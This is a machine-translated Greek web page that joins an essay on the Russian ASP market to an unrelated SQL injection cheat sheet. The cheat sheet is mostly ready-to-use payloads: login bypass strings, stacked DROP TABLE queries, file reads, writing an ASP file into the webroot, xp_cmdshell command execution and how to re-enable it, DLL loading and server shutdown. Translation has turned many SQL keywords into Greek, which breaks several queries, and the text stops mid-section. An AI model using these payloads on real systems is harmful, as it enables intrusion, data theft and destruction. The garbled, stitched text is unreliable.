Προγραμματισμός του στοιχείου ελέγχου Σύνδεση. Πώς μπορείτε να εκτελέσετε εντολές από απόσταση χρησιμοποιώντας την ένεση SQL

Προς το παρόν, δεν μπορεί να ειπωθεί ότι έχει διαμορφωθεί μια πλήρης αγορά ASP στη Ρωσία. Οι Ρώσοι χρήστες, ως επί το πλείστον, εξακολουθούν να μην αντιλαμβάνονται την έννοια του ASP ως χρήσιμη για την επιχείρησή τους. Επί του παρόντος (τη στιγμή που γράφτηκε αυτό το άρθρο) ρωσική αγοράΔεν υπάρχει ούτε ένα επιτυχημένο παράδειγμα πλήρους κλίμακας εφαρμογής του μοντέλου ASP σε μια μεγάλη επιχείρηση. Στην πραγματικότητα, υπάρχει μόνο φιλοξενία, μεμονωμένα υλοποιημένα στοιχεία του μοντέλου ASP, εταιρείες που θέλουν να ασχοληθούν με τις επιχειρήσεις ASP κ.λπ. Δηλαδή, δεν υπάρχει ακόμη εφαρμογή του κλασικού μοντέλου ASP στη Ρωσία.

Τώρα στη ρωσική αγορά, το μοντέλο ASP ισχύει μόνο για εξατομικευμένες υπηρεσίες email (Mail.ru, Beep.ru, Freemail.ru, κ.λπ.) και εξειδικευμένες υπηρεσίες υψηλής τεχνολογίας (για παράδειγμα, μηχανές banner και αναζήτησης, συστήματα στατιστικών στοιχείων Διαδικτύου , και τα λοιπά.) . Ταυτόχρονα, η ενοικίαση υπηρεσιών αλληλογραφίας δεν σημαίνει απλώς την παροχή ενός προσωπικού γραμματοκιβωτίου σε κάθε μεμονωμένο χρήστη. Οι δωρεάν διακομιστές email χρησιμοποιούνται ευρέως στον εταιρικό τομέα από μικρές επιχειρήσεις και ιδιώτες επιχειρηματίες. Οι κύριοι πελάτες τέτοιων υπηρεσιών είναι εταιρείες που επιθυμούν να οργανώσουν μια εταιρική υπηρεσία ηλεκτρονικού ταχυδρομείου (ή να αυτοματοποιήσουν τη ροή εταιρικών εγγράφων) ή πάροχοι Διαδικτύου (για παράδειγμα, πύλες Rambler.ru, Yandex.ru, κ.λπ.) που επιθυμούν να οργανώσουν μια δωρεάν υπηρεσία Web-mail για το κοινό τους.

Υπάρχει κάποιο ενδιαφέρον μεταξύ των Ρώσων χρηστών για την ενοικίαση ηλεκτρονικών καταστημάτων (βιτρίνες σε ηλεκτρονική πλατφόρμα συναλλαγών). Και αυτό είναι απολύτως κατανοητό. Δεδομένου ότι εξακολουθούν να υπάρχουν πολύ, πολύ λίγα επιτυχημένα παραδείγματα διαδικτυακών συναλλαγών στη Ρωσία (παρά τις ηχηρές δηλώσεις ορισμένων εταιρειών για τα εντυπωσιακά τους επιτεύγματα), φαίνεται πιο λογικό να ξοδέψετε μια τάξη μεγέθους λιγότερα χρήματα για την ενοικίαση ενός ηλεκτρονικού καταστήματος (από αγορά και συντήρησή του). Εάν το έργο αποτύχει, μπορεί να κλείσει αρκετά γρήγορα και χωρίς σημαντικές απώλειες. Η ενοικίαση εφαρμογών ERP, η οποία είναι ευρέως διαδεδομένη στη Δύση, βρίσκεται τώρα στη Ρωσία μόνο στο στάδιο των πιλοτικών έργων.

Οι εφαρμογές που προσφέρονται προς ενοικίαση περιλαμβάνουν τόσο σχετικά απλές σουίτες γραφείου (όπως το MS Office) όσο και πιο σύνθετες εφαρμογές (όπως το Lotus Smart Suite), καθώς και συστήματα ERP (όπως το Navision Axapta).

Κύρια προβλήματα και χαρακτηριστικά της ρωσικής αγοράς ASP.

10.2 Προβλήματα στη ρωσική αγορά.

Επί του παρόντος, η ρωσική αγορά ASP υστερεί σε σχέση με την παγκόσμια αγορά ASP κατά τουλάχιστον αρκετά χρόνια. Η εμβρυϊκή κατάσταση της ρωσικής αγοράς ASP προκαλείται από μια σειρά προβλημάτων που υπάρχουν σε αυτήν. Τα κυριότερα από αυτά τα προβλήματα είναι:

1. Η γενική υστέρηση της ρωσικής οικονομίας από τη δυτική και η υπανάπτυξη της τεχνικής υποδομής των επιχειρήσεων. Μέχρι τώρα, οι περισσότερες ρωσικές επιχειρήσεις λειτουργούν με τεχνική υποδομή που δημιουργήθηκε πριν από δεκαετίες. Επί του παρόντος, οι επενδύσεις των επιχειρήσεων στον εκσυγχρονισμό του εξακολουθούν να είναι ανεπαρκείς. Και εδώ το πρόβλημα είναι μάλλον οι οικονομικές προτεραιότητες των επιχειρήσεων, γιατί δεν μπορούν όλοι να επενδύσουν τα απαραίτητα κεφάλαια για τον εκσυγχρονισμό της τεχνικής υποδομής. Ως εκ τούτου, πρέπει να λύσουν τα τρέχοντα προβλήματά τους χρησιμοποιώντας την υπάρχουσα υποδομή.

2.Χαμηλή ζήτηση για υπηρεσίες ASP. Ο πληθυσμός και οι εταιρικοί πελάτες δεν είναι έτοιμοι (ως επί το πλείστον) να πληρώσουν για τις υπηρεσίες ASP. Ενώ ο μέσος Ρώσος καταναλωτής έχει τώρα απλώς πιο πιεστικές και ζωτικής σημασίας προτεραιότητες δαπανών, οι εταιρικοί χρήστες δεν λαμβάνουν ακόμη σοβαρά υπόψη τις υπηρεσίες ASP.

3.Αδυναμία του νομοθετικού πλαισίου για την ηλεκτρονική αγορά. Μέχρι να εγκριθεί ένα πλήρες πακέτο νόμων, δεν χρειάζεται να μιλάμε για ανάπτυξη της ηλεκτρονικής αγοράς (συμπεριλαμβανομένης της ASP).

4. Κλείσιμο της χρηματοοικονομικής πληροφόρησης εταιρικών πελατών (ιδιαίτερα των πιο φερέγγυων επιχειρήσεων).

5. Αντίσταση από τμήματα πληροφορικής (ρητά και σιωπηρά) μεγάλων εταιρειών, που πρέπει να επικεντρωθούν εκ νέου σε άλλα καθήκοντα, να μειώσουν τους υπαλλήλους και τους προϋπολογισμούς πληροφορικής κ.λπ.

6. Ένας μικρός αριθμός εφαρμογών που μπορούν να χρησιμοποιηθούν στο μοντέλο ASP για ρωσικές επιχειρήσεις.

7. Η παρουσία στη ρωσική αγορά εργασίας ενός αρκετά μεγάλου αριθμού ειδικών πληροφορικής εισαγωγικού και μεσαίου επιπέδου με σχετικά χαμηλούς μισθούς. Μετά την κρίση του 1998, η συντριπτική πλειονότητα των μισθών των ειδικών πληροφορικής παρέμεινε στο ίδιο επίπεδο μετά την κρίση. Μερικές φορές είναι φθηνότερο για τις μικρές και μεσαίες εταιρείες να διατηρούν τις δικές τους υπηρεσίες πληροφορικής παρά να πληρώνουν για υπηρεσίες ASP (σε αντίθεση με τις δυτικές εταιρείες, όπου η κατάσταση είναι ακριβώς το αντίθετο).

Το φύλλο εξαπάτησης SQL injection δημιουργήθηκε για συνοπτική περιγραφή τεχνικά χαρακτηριστικά διάφοροι τύποιΕυπάθειες SQL injection. Το άρθρο παρουσιάζει τα χαρακτηριστικά των εγχύσεων SQL στο MySQL, Microsoft SQLΥπηρέτης, ΜΑΝΤΕΙΟΚαι PostgreSQL.

0. Εισαγωγή
Σε αυτό το άρθρο μπορείτε να βρείτε αναλυτικά τεχνικές πληροφορίεςσχετικά με διαφορετικούς τύπους ενέσεων SQL. Μπορεί να είναι χρήσιμο τόσο για έμπειρους ειδικούς όσο και για νεοεισερχόμενους στον τομέα της ασφάλειας πληροφοριών.

Προς το παρόν, το σημείωμα περιέχει πληροφορίες μόνο για MySQL, Microsoft SQL Serverκαι ορισμένα δεδομένα για ORACLE και PostgreSQL. Οι ενότητες περιέχουν σύνταξη ένεσης, επεξηγήσεις και παραδείγματα.

Σύμβολα που χρησιμοποιούνται:
M (MySQL);
S (SQL Server);
O (Oracle);
P (PostgreSQL);
+ (πιθανόν σε άλλες βάσεις δεδομένων).
* (απαιτούνται ειδικοί όροι).

1. Γραμμικά σχόλια
Τα σχόλια είναι γενικά χρήσιμα για την παράβλεψη μέρους ενός ερωτήματος.
Σύνταξη:
-- (SM): DROP sampletable;--
# (M): DROP sampletable;#
Παράδειγμα:
Όνομα χρήστη: admin" --
Δημιουργήθηκε ερώτημα: SELECT * FROM Member WHERE username = "admin"--" AND password = "password"
Αυτό θα σας επιτρέψει να συνδεθείτε ως διαχειριστής, παρακάμπτοντας τον έλεγχο κωδικού πρόσβασης.

2. Αποκλεισμός σχολίων
Με τη βοήθειά τους, μπορείτε να αγνοήσετε μέρος του αιτήματος, να αντικαταστήσετε κενά, να παρακάμψετε τις μαύρες λίστες και να προσδιορίσετε την έκδοση της βάσης δεδομένων.
Σύνταξη:
/*Σχόλιο*/ (SM):
DROP/*comment*/sampletable
DR/**/OP/*bypass_blacklist*/sampletable
SELECT/*replace_space*/password/**/FROM/**/Members

/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM όνομα πίνακα
Αυτή είναι μια ειδική σύνταξη σχολίων για τη MySQL. Σας επιτρέπει να εντοπίσετε την έκδοση MySQL. Αυτό το σχόλιο θα λειτουργεί μόνο στη MySQL
Παραδείγματα:
ID: 10; Μέλη DROP TABLE /*
Αγνοούμε το υπόλοιπο αίτημα, ακριβώς όπως ένα σχόλιο γραμμής.

ID: /*!32302 10*/
θα λάβετε την ίδια απάντηση με το ID=10 εάν η έκδοση MySQL είναι υψηλότερη από 3.23.02

ID: /*!32302 1/0, */
Δημιουργήθηκε ερώτημα: SELECT /*!32302 1/0, */ 1 FROM όνομα πίνακα
Θα προκύψει σφάλμα διαίρεσης με 0 εάν ο διακομιστής έχει έκδοση MySQL υψηλότερη από 3.23.02

3. Ακολουθία αιτημάτων
Σας επιτρέπει να εκτελείτε περισσότερα από ένα αιτήματα κάθε φορά. Αυτό είναι χρήσιμο σε οποιοδήποτε σημείο της ένεσης.


Πράσινο - υποστηρίζεται? μαύρο - δεν υποστηρίζεται. γκρι - άγνωστο.
Σύνταξη:
; (S): ΕΠΙΛΟΓΗ * ΑΠΟ μελών. Μέλη DROP--
Το ένα αίτημα τελείωσε, το επόμενο ξεκίνησε.
Παράδειγμα:
ID: 10;Μέλη DROP --
Δημιουργήθηκε ερώτημα: SELECT * FROM products WHERE id = 10; Μέλη DROP--
Αυτό το ερώτημα θα απορρίψει τον πίνακα μελών μετά από ένα κανονικό ερώτημα.

4. Δηλώσεις υπό όρους
Θα λάβουμε απάντηση στο αίτημα εάν πληρούται η προϋπόθεση. Αυτό είναι ένα από τα βασικά σημεία της τυφλής ένεσης. Βοηθά επίσης στον ακριβή έλεγχο των απλών πραγμάτων.
Σύνταξη:
IF (συνθήκη, αληθές μέρος, ψευδές μέρος) (M): SELECT IF(1=1,"true","false")
ΑΝ συνθήκη true-part ELSE false-part (S): IF (1=1) SELECT "true" ELSE SELECT "false"
ΑΝ συνθήκη ΤΟΤΕ αληθές μέρος. ΑΛΛΟ ψεύτικο μέρος? ΤΕΛΟΣ ΕΑΝ; ΤΕΛΟΣ; (Ο): ΑΝ (1=1) ΤΟΤΕ dbms_lock.sleep(3); ΑΛΛΟ dbms_lock.sleep(0); ΤΕΛΟΣ ΕΑΝ; ΤΕΛΟΣ;
ΕΠΙΛΟΓΗ ΠΕΡΙΠΤΩΣΗΣ WHEN συνθήκη ΤΟΤΕ true-part ALSE false-part END? (P): ΕΠΙΛΕΞΤΕ ΠΕΡΙΠΤΩΣΗ ΟΤΑΝ (1=1) ΜΕΤΑ ΤΕΛΟΣ "A" ΑΛΛΟ "B";
παράδειγμα:
εάν ((επιλογή χρήστη) = "sa" Ή (επιλογή χρήστη) = "dbo") επιλέξτε 1 και επιλέξτε 1/0 (S)
θα ρίξει διαίρεση με μηδενικό σφάλμα αν τρέχων χρήστηςόχι "sa" ή "dbo".

5. Χρήση αριθμών
Χρησιμοποιείται για την παράκαμψη magic_quotes() και παρόμοια φίλτρα, συμπεριλαμβανομένου του WAF.
Σύνταξη:
0xHEX_NUMBER (SM):
ΕΠΙΛΟΓΗ CHAR(0x66) (S)
ΕΠΙΛΟΓΗ 0x5045 (αυτός δεν είναι αριθμός, αλλά συμβολοσειρά) (M)
ΕΠΙΛΟΓΗ 0x50 + 0x45 (τώρα αυτός είναι αριθμός) (M)
Παραδείγματα:
ΕΠΙΛΟΓΗ LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Εμφανίζει τα περιεχόμενα του αρχείου c:\boot.ini

6. Σύνδεση χορδών
Οι λειτουργίες συμβολοσειράς μπορούν να βοηθήσουν στην παράκαμψη φίλτρων ή στην αναγνώριση της βάσης δεδομένων.
Σύνταξη:
+ (S): ΕΠΙΛΟΓΗ σύνδεσης + "-" + κωδικός πρόσβασης ΑΠΟ μέλη
|| (*MO): ΕΠΙΛΟΓΗ σύνδεσης || "-" || κωδικός πρόσβασης ΑΠΟ μέλη
Θα λειτουργήσει εάν η MySQL εκτελείται σε λειτουργία ANSI. Διαφορετικά η MySQL δεν θα το δεχτεί ως λογικός τελεστήςκαι θα επιστρέψει 0. Είναι καλύτερα να χρησιμοποιήσετε τη συνάρτηση CONCAT() στη MySQL.

CONCAT(str1, str2, str3, …) (M): ΕΠΙΛΟΓΗ CONCAT(σύνδεση, κωδικός πρόσβασης) ΑΠΟ μέλη

7. Χορδές χωρίς εισαγωγικά
Υπάρχουν διάφοροι τρόποι για να αποφύγετε τη χρήση εισαγωγικών σε ένα ερώτημα, όπως η χρήση των CHAR() (MS) και CONCAT() (M).
Σύνταξη:
ΕΠΙΛΟΓΗ 0x457578 (M)

Η MySQL έχει έναν απλό τρόπο να αναπαραστήσει μια συμβολοσειρά ως δεκαεξαδικό κώδικα:
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

Επιστρέφει τη συμβολοσειρά "KLM":
ΕΠΙΛΟΓΗ CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
ΕΠΙΛΟΓΗ CHAR(75)+CHAR(76)+CHAR(77) (S)
SELECT CHR(75)||CHR(76)||CHR(77) (O)
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Μετατροπή συμβολοσειρών και αριθμών.
Σύνταξη:
ASCII() (SMP): ΕΠΙΛΟΓΗ ASCII("a")
Επιστρέφει τον κωδικό ASCII του πιο αριστερού χαρακτήρα. Η λειτουργία χρησιμοποιείται για τυφλές ενέσεις.

CHAR() (SM): ΕΠΙΛΟΓΗ CHAR(64)
Μεταφράζει έναν κωδικό ASCII στον αντίστοιχο χαρακτήρα.

9. Χειριστής ΕΝΩΣΗΣ
Με τον τελεστή UNION μπορείτε να ρωτήσετε τη διασταύρωση των πινάκων. Βασικά, μπορείτε να στείλετε ένα ερώτημα που επιστρέφει μια τιμή από έναν άλλο πίνακα.
Παράδειγμα:
ΕΠΙΛΟΓΗ κεφαλίδας, txt FROM news UNION ALL SELECT όνομα, pass FROM μέλη
Αυτό θα συγχωνεύσει τα αποτελέσματα από τους πίνακες ειδήσεων και μελών

10. Παράκαμψη ελέγχου ταυτότητας (SMO+)
Παραδείγματα:
διαχειριστής" --
διαχειριστής" #
διαχειριστής"/*
"ή 1=1--
"ή 1=1#
"ή 1=1/*
") ή "1"="1--
") ή ("1"="1--

11. Παράκαμψη ελέγχου ταυτότητας MD5
Εάν η εφαρμογή συγκρίνει πρώτα το όνομα χρήστη και στη συνέχεια συγκρίνει τον κατακερματισμό md5 του κωδικού πρόσβασης, τότε θα χρειαστείτε επιπλέον κόλπα για να παρακάμψετε τον έλεγχο ταυτότητας. Μπορείτε να συνδυάσετε τα αποτελέσματα με έναν γνωστό κωδικό πρόσβασης και τον κατακερματισμό του.
Παράδειγμα (MSP):
Όνομα χρήστη: admin
Κωδικός πρόσβασης: 1234 "AND 1=0 UNION ALL SELECT "admin", "
= MD5(1234)

12. Βάσει σφαλμάτων
12.1 Ορισμός στηλών με χρήση HAVING BY(S)
Παράδειγμα:
Με την ίδια σειρά
"ΕΧΟΝΤΑΣ 1=1 --
" GROUP BY table.columnfromerror1 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1=1 –
…………….
Συνεχίστε μέχρι να σταματήσετε να λαμβάνετε σφάλματα.

12.2 Προσδιορισμός του αριθμού των στηλών χρησιμοποιώντας ORDER BY (MSO+)
Η εύρεση του αριθμού των στηλών με τη χρήση ORDER BY μπορεί να επιταχυνθεί χρησιμοποιώντας την ένεση UNION.
ΠΑΡΑΓΓΕΛΙΑ ΑΠΟ 1--
ΠΑΡΑΓΓΕΛΙΑ ΑΠΟ 2--
ΠΑΡΑΓΓΕΛΙΑ ΑΠΟ 3-
………………..
Συνεχίστε μέχρι να λάβετε ένα μήνυμα σφάλματος. Αυτό θα υποδεικνύει τον αριθμό των στηλών.

13. Ορισμός τύπου δεδομένων
Να χρησιμοποιείτε πάντα το UNION με ALL.
Για να απαλλαγείτε από μια περιττή καταχώριση πίνακα, χρησιμοποιήστε -1 σε οποιεσδήποτε ανύπαρκτες τιμές στην αρχή του ερωτήματος (αν η ένεση βρίσκεται στην παράμετρο WHERE). Αυτό είναι σημαντικό εάν μπορείτε να ανακτήσετε μόνο μία τιμή κάθε φορά.
Χρησιμοποιήστε το NULL στις ενέσεις UNION αντί να προσπαθήσετε να μαντέψετε μια συμβολοσειρά, ημερομηνία, αριθμό κ.λπ. Αλλά να είστε προσεκτικοί όταν κάνετε την ένεση στα τυφλά, γιατί... μπορεί να συγχέετε το σφάλμα της βάσης δεδομένων με την ίδια την εφαρμογή. Ορισμένες γλώσσες, όπως η ASP.NET, παρουσιάζουν ένα σφάλμα όταν χρησιμοποιούν μια τιμή NULL (επειδή οι προγραμματιστές δεν περίμεναν να δουν μια τιμή null στο πεδίο ονόματος χρήστη)
Παραδείγματα:
" union select sum(columntofind) from users-- (S) :
Εάν δεν λάβετε μήνυμα σφάλματος, τότε η στήλη είναι αριθμητική.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL --
Μπορείτε να χρησιμοποιήσετε το CAST() ή το CONVERT()

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 ---
Αν δεν υπάρχει λάθος, τότε η σύνταξη είναι σωστή, δηλ. Χρησιμοποιείται ο MS SQL Server.

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 --
Εάν δεν υπάρχει σφάλμα, τότε η πρώτη στήλη είναι αριθμός.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
Εάν εμφανιστεί κάποιο σφάλμα, τότε η δεύτερη στήλη δεν είναι αριθμός.

11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 --
Εάν δεν υπάρχει σφάλμα, τότε η δεύτερη στήλη είναι μια συμβολοσειρά.
……………..

14. Απλό ένθετο (MSO+)
Παράδειγμα:
"; εισαγάγετε τις τιμές των χρηστών (1, "hax0r", "coolpass", 9)/*

15. Συλλογή πληροφοριών
Σύνταξη:
@@έκδοση (MS)
Μπορείτε να μάθετε την έκδοση της βάσης δεδομένων και πιο λεπτομερείς πληροφορίες.
Παράδειγμα:
INSERT INTO μέλη(αναγνωριστικό, χρήστης, πάσο) VALUES(1, ""+SUBSTRING(@@έκδοση,1,10) ,10)

16. Σύνθετο ένθετο (S)
Σας επιτρέπει να εισάγετε τα περιεχόμενα ενός αρχείου σε έναν πίνακα. Εάν δεν γνωρίζετε την εσωτερική διαδρομή της εφαρμογής web, μπορείτε να διαβάσετε τη μεταβάση των υπηρεσιών IIS (μόνο για τις υπηρεσίες IIS 6).
Σύνταξη:
αρχείο(%systemroot%\system32\inetsrv\MetaBase.xml)
Στη συνέχεια, μπορείτε να βρείτε τις διαδρομές της εφαρμογής σε αυτό.
Παράδειγμα:
1. Δημιουργία πίνακα foo (τύπος συμβολοσειράς varchar(8000))
2. Εισαγάγετε τα περιεχόμενα του αρχείου «c:\inetpub\wwwroot\login.asp» στο table foo
3. Ρίξτε τον προσωρινό πίνακα και επαναλάβετε για άλλο αρχείο.

17. BCP (S)
Καταγράφει αρχείο κειμένου. Αυτό απαιτεί διαπιστευτήρια.
Παράδειγμα:
bcp ερώτημα "SELECT * FROM test..foo" c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH σε SQL Server (S)
Μπορείτε να χρησιμοποιήσετε δέσμες ενεργειών VBS, WSH στον SQL Server.
Παράδειγμα:
Όνομα χρήστη:"; δήλωση @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "run", NULL, "notepad.exe" –

19. Εκτελέστε εντολές συστήματος (S)
Ένα πολύ γνωστό κόλπο, η δυνατότητα είναι απενεργοποιημένη από προεπιλογή στον SQL Server 2005. Χρειάζεστε δικαιώματα διαχειριστή.
Παράδειγμα:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Ειδικοί πίνακες στον SQL Server (S)
Παραδείγματα:
Μηνύματα σφάλματος: master..sysmessages
Συνδεδεμένοι διακομιστές: κύριοι..sysservers
Κωδικός πρόσβασης SQL Server 2000: masters..sysxlogins
Κωδικός πρόσβασης SQL Server 2005: sys.sql_logins

21. Πολλαπλές αποθηκευμένες διαδικασίες για SQL Server (S)
Σύνταξη:
Εκτέλεση Cmd (xp_cmdshell)
Μητρώο (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemmultistring
xp_regwrite
Διαχείριση υπηρεσιών (xp_servicecontrol)
Μέσα (xp_availablemedia)
Πόροι ODBC (xp_enumdsn)
Λειτουργία σύνδεσης (xp_loginconfig)
Δημιουργία αρχείων Cab (xp_makecab)
Αριθμός τομέα (xp_ntsec_enumdomains)
Process Killing (απαιτείται PID) (xp_terminate_process)
Προσθήκη νέας διαδικασίας (sp_addextendedproc)
Γράψτε αρχείο κειμένου σε ένα UNC ή σε μια εσωτερική διαδρομή (sp_makewebtask)
Παραδείγματα:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues ​​· HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

22. Μαζικές σημειώσεις MSSQL
Παραδείγματα:
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
ΔΗΛΩΣΤΕ @result int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. Έγχυση SQL σε ερωτήματα LIMIT (M).
Παράδειγμα:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
Για να παρακάμψετε τον τελεστή LIMIT, μπορείτε να χρησιμοποιήσετε το UNION ή ένα σχόλιο.

24. Τερματισμός του SQL Server (S)
Παράδειγμα:
";ΤΕΡΜΑΤΙΣΜΟΣ ΛΕΙΤΟΥΡΓΙΑΣ -

25. Ενεργοποίηση xp_cmdshell στον SQL Server 2005
Σύνταξη:
Από προεπιλογή, το xp_cmdshell και μερικές άλλες δυνητικά επικίνδυνες δυνατότητες είναι απενεργοποιημένες στον SQL Server 2005. Εάν έχετε δικαιώματα διαχειριστή, μπορείτε να τα ενεργοποιήσετε.
EXEC sp_configure "εμφάνιση σύνθετων επιλογών",1
ΑΝΑΔΙΑΜΟΡΦΩΣΗ
EXEC sp_configure "xp_cmdshell",1
ΑΝΑΔΙΑΜΟΡΦΩΣΗ

26. Αναζήτηση δομής βάσης δεδομένων στον SQL Server (S)
Παραδείγματα:
ΕΠΙΛΕΞΤΕ όνομα ΑΠΟ sysobjects WHERE xtype = "U"

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tablenameforcolumnnames")
Λήψη ονομάτων στηλών

27. Κινούμενα αρχεία (S)
Παραδείγματα:
... ΠΟΥ ΔΕΝ ΕΙΝΑΙ ΕΙΣΟΔΟΙ χρήστες ("Πρώτος χρήστης", "Δεύτερος χρήστης")
Χρησιμοποιήστε WHERE με NOT IN ή NOT EXIST

ΕΠΙΛΟΓΗ ΚΟΡΥΦΑΙΟΥ 1 ονόματος ΑΠΟ μέλη ΟΠΟΥ ΔΕΝ ΥΠΑΡΧΟΥΝ (ΕΠΙΛΟΓΗ ΚΟΡΥΦΑΙΟΥ 0 ονόματος ΑΠΟ μέλη)

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Επιλέξτε p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id)
AS x, όνομα από sysobjects o) ως p όπου p.x=3) ως int

Επιλέξτε p.name από (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype="U" και i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Γρήγορος τρόπος εξαγωγής δεδομένων από ένεση SQL βάσει σφαλμάτων στον SQL Server (S)
";BEGIN DECLARE @rt varchar(8000) SET @rd=":" SELECT @rd=@rd+" "+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "MEMBERS") AND name>@rd SELECT @rd AS rd στο τέλος TMP_SYS_TMP;--

29. Αναζήτηση δομής βάσης δεδομένων στο MySQL (M)
Παραδείγματα:
SELECT table_name FROM information_schema.tables WHERE table_schema = "tablename"
Λήψη προσαρμοσμένων τραπεζιών

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = "tablename"
Λήψη ονομάτων στηλών

30. Αναζήτηση δομής βάσης δεδομένων στο Oracle (O)
Παραδείγματα:
SELECT * FROM all_tables WHERE OWNER = "DATABASE_NAME"
Λήψη προσαρμοσμένων τραπεζιών

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABLE"
Λήψη ονομάτων στηλών

31. Τυφλές ενέσεις
Σε μια εφαρμογή ποιότητας, δεν θα μπορείτε να δείτε μηνύματα σφάλματος. Δεν θα μπορείτε να χρησιμοποιήσετε τον τελεστή UNION και επιθέσεις βάσει σφαλμάτων. Θα πρέπει να χρησιμοποιήσετε τυφλή ένεση SQL για να εξαγάγετε τα δεδομένα. Υπάρχουν δύο τύποι τυφλών ενέσεων.
Τακτική τυφλή ένεση: δεν μπορείτε να δείτε τα αποτελέσματα των αιτημάτων στη σελίδα, αλλά μπορείτε να προσδιορίσετε το αποτέλεσμα από την απόκριση ή την κατάσταση HTTP.
Εντελώς τυφλή ένεση: Δεν θα δείτε καμία διαφορά στην έξοδο.
Σε κανονικές τυφλές ενέσεις μπορείτε να χρησιμοποιήσετε δηλώσεις IF και WHERE, σε πλήρως τυφλές ενέσεις πρέπει να χρησιμοποιήσετε ορισμένες λειτουργίες αναμονής και να συγκρίνετε τον χρόνο απόκρισης. Για να το κάνετε αυτό, μπορείτε να χρησιμοποιήσετε το WAIT FOR DELAY '0:0:10' στον SQL Server, το BENCHMARK() και το sleep(10) στη MySQL, το pg_sleep(10) στο PostgreSQL.
Παράδειγμα:
Αυτό το παράδειγμα βασίζεται σε μια πραγματική λειτουργία τυφλής έγχυσης στον SQL Server.

TRUE: SELECT ID, Όνομα χρήστη, Email FROM WHERE ID = 1 ΚΑΙ ISNULL(ASCII(SUBSTRING((ΕΠΙΛΟΓΗ TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xt) ,1)),0)>78--

FALSE: SELECT ID, Όνομα χρήστη, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((ΕΠΙΛΟΓΗ TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xt) ,1)),0)>103--

FALSE: SELECT ID, Όνομα χρήστη, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((ΕΠΙΛΟΓΗ TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xt) ,1)),0)>89--

FALSE: SELECT ID, Όνομα χρήστη, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((ΕΠΙΛΟΓΗ TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xt) ,1)),0)>83--

TRUE: SELECT ID, Όνομα χρήστη, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xt) ,1)),0)>79--

FALSE: SELECT ID, Όνομα χρήστη, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((ΕΠΙΛΟΓΗ TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xt) ,1)),0)>80--

Με βάση τα δύο τελευταία ερωτήματα, γνωρίζουμε ακριβώς την τιμή του πρώτου χαρακτήρα στο ascii - είναι 80. Αυτό σημαίνει ότι ο πρώτος χαρακτήρας είναι `P`. Έτσι μπορούμε να μάθουμε τα ονόματα των πινάκων και τα περιεχόμενά τους. Ένας άλλος τρόπος είναι να διαβάζετε τα δεδομένα κομμάτι-κομμάτι.

32. Εντελώς τυφλή ένεση
Χρησιμοποιήστε αυτή τη μέθοδο μόνο σε περίπτωση πραγματικά τυφλής ένεσης. Να είστε προσεκτικοί με τους χρόνους αναμονής.
Σύνταξη:
ΑΝΑΜΟΝΗ ΚΑΘΥΣΤΕΡΗΣΗΣ "χρόνος" (S)
